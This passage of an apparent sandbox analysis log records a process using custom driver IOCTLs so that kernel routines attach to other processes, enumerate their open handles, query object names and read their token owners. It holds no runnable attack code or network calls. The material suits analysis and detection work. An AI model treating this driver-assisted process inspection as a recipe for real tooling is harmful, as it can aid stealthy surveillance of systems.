lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0094.298] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.298] PsAcquireProcessExitSynchronization () returned 0x0 [0094.298] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.298] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0094.298] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.299] PsReleaseProcessExitSynchronization () returned 0x2 [0094.299] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.299] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.299] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0094.299] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.299] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.299] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0094.299] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.299] PsAcquireProcessExitSynchronization () returned 0x0 [0094.299] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.299] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0094.299] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.299] PsReleaseProcessExitSynchronization () returned 0x2 [0094.299] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.299] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0094.299] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0094.299] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.299] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.299] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.299] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.299] PsAcquireProcessExitSynchronization () returned 0x0 [0094.299] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.299] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.299] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.299] PsReleaseProcessExitSynchronization () returned 0x2 [0094.299] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.299] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.299] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.299] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.299] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.300] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0094.300] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.300] PsAcquireProcessExitSynchronization () returned 0x0 [0094.300] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.300] ObReferenceObjectByHandle (in: Handle=0x5a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0094.300] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.300] PsReleaseProcessExitSynchronization () returned 0x2 [0094.300] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.300] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.300] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.300] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0094.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.300] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0094.300] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.300] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0094.300] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.300] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.300] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.300] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.300] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.301] CloseHandle (hObject=0xc8) returned 1 [0094.302] CloseHandle (hObject=0xc0) returned 1 [0094.302] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.302] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.302] PsAcquireProcessExitSynchronization () returned 0x0 [0094.302] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880052335d0) [0094.302] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0094.302] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.302] PsReleaseProcessExitSynchronization () returned 0x2 [0094.302] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0094.302] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.302] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0094.302] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.302] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.302] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0094.302] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.302] PsAcquireProcessExitSynchronization () returned 0x0 [0094.302] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880052335d0) [0094.302] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0094.302] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.302] PsReleaseProcessExitSynchronization () returned 0x2 [0094.302] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0094.302] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.303] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0094.303] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.303] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.303] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.303] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.303] PsAcquireProcessExitSynchronization () returned 0x0 [0094.303] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880052335d0) [0094.303] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.303] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.303] PsReleaseProcessExitSynchronization () returned 0x2 [0094.303] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0094.303] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.303] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.303] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.303] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.303] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0094.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.303] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0094.303] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.303] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0094.303] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.303] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.303] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.303] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.303] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.305] CloseHandle (hObject=0xc8) returned 1 [0094.305] CloseHandle (hObject=0xc0) returned 1 [0094.305] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.305] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.305] PsAcquireProcessExitSynchronization () returned 0x0 [0094.305] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880052335d0) [0094.305] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0094.305] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.305] PsReleaseProcessExitSynchronization () returned 0x2 [0094.305] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0094.305] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.305] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0094.305] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.305] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.305] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0094.305] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.305] PsAcquireProcessExitSynchronization () returned 0x0 [0094.305] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880052335d0) [0094.306] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0094.306] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.306] PsReleaseProcessExitSynchronization () returned 0x2 [0094.306] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0094.306] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.306] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0094.306] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.306] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.306] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.306] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.306] PsAcquireProcessExitSynchronization () returned 0x0 [0094.306] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880052335d0) [0094.306] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.306] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.306] PsReleaseProcessExitSynchronization () returned 0x2 [0094.306] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0094.306] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.306] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.306] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.306] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.306] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0094.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.306] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0094.306] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.306] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0094.306] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.306] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.306] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.306] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.306] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.308] CloseHandle (hObject=0xc8) returned 1 [0094.308] CloseHandle (hObject=0xc0) returned 1 [0094.308] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.308] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.308] PsAcquireProcessExitSynchronization () returned 0x0 [0094.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880052335d0) [0094.308] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0094.308] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.308] PsReleaseProcessExitSynchronization () returned 0x2 [0094.308] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0094.308] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.308] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0094.308] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.308] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.308] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0094.308] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.308] PsAcquireProcessExitSynchronization () returned 0x0 [0094.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880052335d0) [0094.308] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0094.309] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.309] PsReleaseProcessExitSynchronization () returned 0x2 [0094.309] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0094.309] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.309] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0094.309] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) 